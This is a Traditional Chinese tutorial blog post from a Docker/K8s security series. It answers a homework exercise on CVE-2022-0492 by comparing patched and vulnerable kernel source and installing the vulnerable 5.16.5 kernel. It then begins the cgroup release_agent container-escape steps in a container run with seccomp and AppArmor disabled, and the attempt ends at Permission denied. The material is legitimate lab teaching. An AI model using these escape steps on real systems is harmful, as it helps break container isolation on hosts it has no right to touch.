iT邦幫忙

2023 iThome 鐵人賽

0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 47

Day 34 - 作業 10-1 解答 - 尋找具有 CVE-2022-0492 的漏洞版本及測試

  • 分享至 

  • xImage
  •  

Yes

  • 作業 10-1 題目 : 又來到我們的大型翻車現場,這車足足翻了有一年了我現在才發現/images/emoticon/emoticon70.gif。首先這次 Day01 - 開賽 (含作業1) 請各位建立的 Linux kernel - v5.16.20(Ubuntu) 其實這版是無法使用 CVE-2022-0492 這個弱點的,請參考資訊解釋一下為何不能? 以及更新內核版本後試著利用弱點進行逃逸會遇到甚麼問題?

  • 解答 : 首先先去看一下 參考資訊 中提到該弱點問題是出在 cgroup_release_agent_write,後來的 patch 增加了身分驗證機制,如果沒有 CAP_SYS_ADMIN 就無法進行寫入。接著驗證步驟如下所示 :

    # 抓取該版本的原始碼
    wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.16.20.tar.gz ;
    
    # 解開檔案,如果不想全解也可以用 7-zip 之類的工具去看
    tar xvf linux-5.16.20.tar.gz ;
    
    # 看一下當初發生弱點的函式,會發現這個版本有打 patch
    cat linux-5.16.20/kernel/cgroup/cgroup-v1.c | grep 'static ssize_t cgroup_release_agent_write' -A 17 ;
    
  • 參考 CVE-2022-0492 隨便挑一版有問題的來看看,這邊就挑 5.16.5 本版來看看。

    wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.16.5.tar.gz ;
    
    tar xvf linux-5.16.5.tar.gz ;
    
    # 看不到身分判斷的部分,所以這版是有漏洞的
    cat linux-5.16.5/kernel/cgroup/cgroup-v1.c | grep 'static ssize_t cgroup_release_agent_write' -A 17 ;
    
    # 忍痛切換 kernel 版本
    wget https://kernel.ubuntu.com/mainline/v5.16.5/amd64/linux-headers-5.16.5-051605-generic_5.16.5-051605.202202011731_amd64.deb ;
    
    wget https://kernel.ubuntu.com/mainline/v5.16.5/amd64/linux-headers-5.16.5-051605_5.16.5-051605.202202011731_all.deb ;
    
    wget https://kernel.ubuntu.com/mainline/v5.16.5/amd64/linux-image-unsigned-5.16.5-051605-generic_5.16.5-051605.202202011731_amd64.deb ;
    
    wget https://kernel.ubuntu.com/mainline/v5.16.5/amd64/linux-modules-5.16.5-051605-generic_5.16.5-051605.202202011731_amd64.deb ;
    
    sudo dpkg -i *.deb ;
    
    # 調整 GRUB_TIMEOUT=20
    sudo vim /etc/default/grub ;
    
    sudo update-grub ;
    sudo shutdown -r now ;
    
    # 重開機會卡住,點進去按 ESC 選擇對應的版本
    
    # 下指令確認版本是否正確,會出現 5.16.5-051605-generic
    uname -r ;
    
    # 開始建立 CVE-2022-0492 弱點環境及測試
    docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" aeifkz/my-ubuntu:v1.0 bash ;
    
    # 這個指令的結果很重要,先不破梗
    cat /proc/self/cgroup ;
    
    # 不 unshare 的話後面會無法 mount,但這個指令跟 CVE-2022-0492 弱點無關
    unshare -UrmC --propagation=unchanged bash ;
    
    mkdir /tmp/cgroup ;
    mount -t cgroup -o rdma cgroup /tmp/cgroup ;
    
    # 這邊直接跳步驟顯示 Permission denied
    echo "echo 123" > /tmp/cgroup/release_agent
    
  • 這邊會錯誤是因為從剛剛 "cat /proc/self/cgroup" 這個指令就可以看出這些 cgroup 都不是 root cgroup directory,所以掛載後目錄也不會出現 release_agent/images/emoticon/emoticon21.gif,所以接下來的作業 10-2 的目的就是要建立出這樣的環境後繼續進行該弱點的測試。


上一篇
Day 34 - Non-Root User 容器介紹 (含作業10-1、10-2)
下一篇
Day 34 - 作業 10-2 解答 - 建立 CVE-2022-0492 的漏洞環境及測試
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言